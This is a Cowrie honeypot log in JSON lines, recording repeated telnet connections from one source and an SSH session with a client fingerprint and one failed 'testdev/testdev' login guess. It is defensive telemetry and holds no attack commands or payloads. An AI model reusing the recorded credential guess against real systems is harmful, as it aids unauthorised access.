{"eventid":"cowrie.session.closed","duration":31.908702611923218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:55.015292Z","src_ip":"207.244.226.215","session":"2ad5d487e2a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54742,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddd260e46cdd","protocol":"telnet","message":"New connection: 207.244.226.215:54742 (159.203.135.109:23) [session: ddd260e46cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:55.075868Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57884,"dst_ip":"159.203.135.109","dst_port":23,"session":"2057b8bc5a67","protocol":"telnet","message":"New connection: 207.244.226.215:57884 (159.203.135.109:23) [session: 2057b8bc5a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:56.723680Z"}
{"eventid":"cowrie.session.closed","duration":30.727919340133667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:57.054343Z","src_ip":"207.244.226.215","session":"a0dbf474724d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715747356414795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:57.095700Z","src_ip":"207.244.226.215","session":"3769f11144b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44676,"dst_ip":"159.203.135.109","dst_port":23,"session":"58730485d22b","protocol":"telnet","message":"New connection: 207.244.226.215:44676 (159.203.135.109:23) [session: 58730485d22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:04.982356Z"}
{"eventid":"cowrie.session.closed","duration":30.698349952697754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:05.577364Z","src_ip":"207.244.226.215","session":"2b921c50eed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46328,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8c3f6b3968a","protocol":"telnet","message":"New connection: 207.244.226.215:46328 (159.203.135.109:23) [session: d8c3f6b3968a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:05.880996Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46294,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d977c80076","protocol":"telnet","message":"New connection: 207.244.226.215:46294 (159.203.135.109:23) [session: 66d977c80076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:06.863301Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":48850,"dst_ip":"159.203.135.109","dst_port":23,"session":"084e3be9a47b","protocol":"telnet","message":"New connection: 207.244.226.215:48850 (159.203.135.109:23) [session: 084e3be9a47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:07.274956Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":48194,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dce2b7950e6","protocol":"telnet","message":"New connection: 207.244.226.215:48194 (159.203.135.109:23) [session: 2dce2b7950e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:07.938736Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52512,"dst_ip":"159.203.135.109","dst_port":23,"session":"9115a896bf25","protocol":"telnet","message":"New connection: 207.244.226.215:52512 (159.203.135.109:23) [session: 9115a896bf25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:09.269751Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52568,"dst_ip":"159.203.135.109","dst_port":23,"session":"323d5891cb0e","protocol":"telnet","message":"New connection: 207.244.226.215:52568 (159.203.135.109:23) [session: 323d5891cb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:09.298412Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53168,"dst_ip":"159.203.135.109","dst_port":23,"session":"34ba6ed32bad","protocol":"telnet","message":"New connection: 207.244.226.215:53168 (159.203.135.109:23) [session: 34ba6ed32bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:10.630355Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":60872,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a9e3a120e7e","protocol":"telnet","message":"New connection: 207.244.226.215:60872 (159.203.135.109:23) [session: 2a9e3a120e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:14.140090Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":33088,"dst_ip":"159.203.135.109","dst_port":23,"session":"03c5a3dd7ca0","protocol":"telnet","message":"New connection: 207.244.226.215:33088 (159.203.135.109:23) [session: 03c5a3dd7ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:14.411067Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57566,"dst_ip":"159.203.135.109","dst_port":23,"session":"681f974a1971","protocol":"telnet","message":"New connection: 207.244.226.215:57566 (159.203.135.109:23) [session: 681f974a1971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:15.164445Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35742,"dst_ip":"159.203.135.109","dst_port":23,"session":"0458c570581f","protocol":"telnet","message":"New connection: 207.244.226.215:35742 (159.203.135.109:23) [session: 0458c570581f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:15.902613Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37190,"dst_ip":"159.203.135.109","dst_port":23,"session":"dceb4cf9b700","protocol":"telnet","message":"New connection: 207.244.226.215:37190 (159.203.135.109:23) [session: dceb4cf9b700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:16.823738Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37742,"dst_ip":"159.203.135.109","dst_port":23,"session":"48309f8ba2f8","protocol":"telnet","message":"New connection: 207.244.226.215:37742 (159.203.135.109:23) [session: 48309f8ba2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:17.107870Z"}
{"eventid":"cowrie.session.closed","duration":31.144514799118042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:17.630851Z","src_ip":"207.244.226.215","session":"9282bfd98d5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":47538,"dst_ip":"10.17.0.5","dst_port":22,"session":"c20c871dec68","protocol":"ssh","message":"New connection: 92.205.57.72:47538 (10.17.0.5:22) [session: c20c871dec68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:18.001844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:18.006242Z","src_ip":"92.205.57.72","session":"c20c871dec68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:18.095566Z","src_ip":"92.205.57.72","session":"c20c871dec68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testdev","password":"testdev","message":"login attempt [testdev/testdev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:18.484208Z","src_ip":"92.205.57.72","session":"c20c871dec68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39456,"dst_ip":"159.203.135.109","dst_port":23,"session":"b227130c5b3a","protocol":"telnet","message":"New connection: 207.244.226.215:39456 (159.203.135.109:23) [session: b227130c5b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:19.101972Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:19.581500Z","src_ip":"92.205.57.72","session":"c20c871dec68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":43016,"dst_ip":"159.203.135.109","dst_port":23,"session":"b813c8eec6b4","protocol":"telnet","message":"New connection: 207.244.226.215:43016 (159.203.135.109:23) [session: b813c8eec6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:20.303025Z"}
{"eventid":"cowrie.session.closed","duration":30.280494928359985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:21.044255Z","src_ip":"207.244.226.215","session":"444ebfb5b3f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":47570,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb70c5c49806","protocol":"telnet","message":"New connection: 207.244.226.215:47570 (159.203.135.109:23) [session: fb70c5c49806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:23.027013Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":50544,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ff700303181","protocol":"telnet","message":"New connection: 207.244.226.215:50544 (159.203.135.109:23) [session: 8ff700303181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:24.831033Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51232,"dst_ip":"159.203.135.109","dst_port":23,"session":"53d3e310f4b0","protocol":"telnet","message":"New connection: 207.244.226.215:51232 (159.203.135.109:23) [session: 53d3e310f4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:25.211189Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51376,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b1bfec509e3","protocol":"telnet","message":"New connection: 207.244.226.215:51376 (159.203.135.109:23) [session: 0b1bfec509e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:25.279968Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51430,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6733c8ff042","protocol":"telnet","message":"New connection: 207.244.226.215:51430 (159.203.135.109:23) [session: f6733c8ff042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:25.311960Z"}
{"eventid":"cowrie.session.closed","duration":30.84778642654419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:25.397429Z","src_ip":"207.244.226.215","session":"ecd3edd8588c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942686080932617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:26.018411Z","src_ip":"207.244.226.215","session":"ddd260e46cdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52946,"dst_ip":"159.203.135.109","dst_port":23,"session":"65464f5dcf38","protocol":"telnet","message":"New connection: 207.244.226.215:52946 (159.203.135.109:23) [session: 65464f5dcf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:26.169096Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54110,"dst_ip":"159.203.135.109","dst_port":23,"session":"061a5d9fd2a2","protocol":"telnet","message":"New connection: 207.244.226.215:54110 (159.203.135.109:23) [session: 061a5d9fd2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:26.917031Z"}
{"eventid":"cowrie.session.closed","duration":30.305354833602905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:27.028773Z","src_ip":"207.244.226.215","session":"2057b8bc5a67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":55840,"dst_ip":"159.203.135.109","dst_port":23,"session":"a02abc4cc40b","protocol":"telnet","message":"New connection: 207.244.226.215:55840 (159.203.135.109:23) [session: a02abc4cc40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:27.904452Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":59386,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c63db1c814","protocol":"telnet","message":"New connection: 207.244.226.215:59386 (159.203.135.109:23) [session: 71c63db1c814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:29.913986Z"}
{"eventid":"cowrie.session.closed","duration":120.00197744369507,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:30.327194Z","src_ip":"223.177.32.194","session":"6a7fabbccdbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35836,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e8c36784320","protocol":"telnet","message":"New connection: 207.244.226.215:35836 (159.203.135.109:23) [session: 3e8c36784320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:32.648720Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40156,"dst_ip":"159.203.135.109","dst_port":23,"session":"0167602787c2","protocol":"telnet","message":"New connection: 207.244.226.215:40156 (159.203.135.109:23) [session: 0167602787c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:35.267416Z"}
{"eventid":"cowrie.session.closed","duration":30.23978877067566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:36.120588Z","src_ip":"207.244.226.215","session":"d8c3f6b3968a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.325130701065063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:36.307385Z","src_ip":"207.244.226.215","session":"58730485d22b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41038,"dst_ip":"159.203.135.109","dst_port":23,"session":"36d93cbd9efb","protocol":"telnet","message":"New connection: 207.244.226.215:41038 (159.203.135.109:23) [session: 36d93cbd9efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:36.802554Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":43050,"dst_ip":"159.203.135.109","dst_port":23,"session":"556dc85d602f","protocol":"telnet","message":"New connection: 207.244.226.215:43050 (159.203.135.109:23) [session: 556dc85d602f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:36.945177Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":43524,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a0d03d300c","protocol":"telnet","message":"New connection: 207.244.226.215:43524 (159.203.135.109:23) [session: 75a0d03d300c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:37.221730Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":43700,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa616b41e558","protocol":"telnet","message":"New connection: 207.244.226.215:43700 (159.203.135.109:23) [session: aa616b41e558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:37.309111Z"}
{"eventid":"cowrie.session.closed","duration":30.51219868659973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:37.375354Z","src_ip":"207.244.226.215","session":"66d977c80076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79865527153015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:38.073463Z","src_ip":"207.244.226.215","session":"084e3be9a47b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25146460533142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:38.190094Z","src_ip":"207.244.226.215","session":"2dce2b7950e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46892,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c27b7fdb5a","protocol":"telnet","message":"New connection: 207.244.226.215:46892 (159.203.135.109:23) [session: 50c27b7fdb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:39.176586Z"}
{"eventid":"cowrie.session.closed","duration":30.751765727996826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:40.021411Z","src_ip":"207.244.226.215","session":"9115a896bf25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81109046936035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:40.109380Z","src_ip":"207.244.226.215","session":"323d5891cb0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657896995544434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:41.288174Z","src_ip":"207.244.226.215","session":"34ba6ed32bad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52274,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f202ae78661","protocol":"telnet","message":"New connection: 207.244.226.215:52274 (159.203.135.109:23) [session: 0f202ae78661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:42.354308Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52278,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffaab28d943e","protocol":"telnet","message":"New connection: 207.244.226.215:52278 (159.203.135.109:23) [session: ffaab28d943e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:42.359694Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53786,"dst_ip":"159.203.135.109","dst_port":23,"session":"a181a579e92c","protocol":"telnet","message":"New connection: 207.244.226.215:53786 (159.203.135.109:23) [session: a181a579e92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:43.239265Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54610,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e938c1c9668","protocol":"telnet","message":"New connection: 207.244.226.215:54610 (159.203.135.109:23) [session: 2e938c1c9668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:43.691128Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54676,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa3de8b84319","protocol":"telnet","message":"New connection: 207.244.226.215:54676 (159.203.135.109:23) [session: fa3de8b84319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:43.728900Z"}
{"eventid":"cowrie.session.closed","duration":30.917579174041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:45.057587Z","src_ip":"207.244.226.215","session":"2a9e3a120e7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673059225082397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:45.084033Z","src_ip":"207.244.226.215","session":"03c5a3dd7ca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":58584,"dst_ip":"159.203.135.109","dst_port":23,"session":"39346d8335af","protocol":"telnet","message":"New connection: 207.244.226.215:58584 (159.203.135.109:23) [session: 39346d8335af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:45.962003Z"}
{"eventid":"cowrie.session.closed","duration":30.86160159111023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:46.025922Z","src_ip":"207.244.226.215","session":"681f974a1971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":59050,"dst_ip":"159.203.135.109","dst_port":23,"session":"b14e5cb96034","protocol":"telnet","message":"New connection: 207.244.226.215:59050 (159.203.135.109:23) [session: b14e5cb96034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:46.240311Z"}
{"eventid":"cowrie.session.closed","duration":30.97001886367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:46.872527Z","src_ip":"207.244.226.215","session":"0458c570581f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.361069679260254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:47.184714Z","src_ip":"207.244.226.215","session":"dceb4cf9b700","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":55616,"dst_ip":"159.203.135.109","dst_port":23,"session":"8de6b771553b","protocol":"telnet","message":"New connection: 207.244.226.215:55616 (159.203.135.109:23) [session: 8de6b771553b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:47.304703Z"}
{"eventid":"cowrie.session.closed","duration":31.081955194473267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:48.189702Z","src_ip":"207.244.226.215","session":"48309f8ba2f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":34474,"dst_ip":"159.203.135.109","dst_port":23,"session":"8064dd478ada","protocol":"telnet","message":"New connection: 207.244.226.215:34474 (159.203.135.109:23) [session: 8064dd478ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:48.289807Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35388,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f7ec54706f6","protocol":"telnet","message":"New connection: 207.244.226.215:35388 (159.203.135.109:23) [session: 4f7ec54706f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:48.872087Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35704,"dst_ip":"159.203.135.109","dst_port":23,"session":"1004f2d6fb91","protocol":"telnet","message":"New connection: 207.244.226.215:35704 (159.203.135.109:23) [session: 1004f2d6fb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:49.086141Z"}
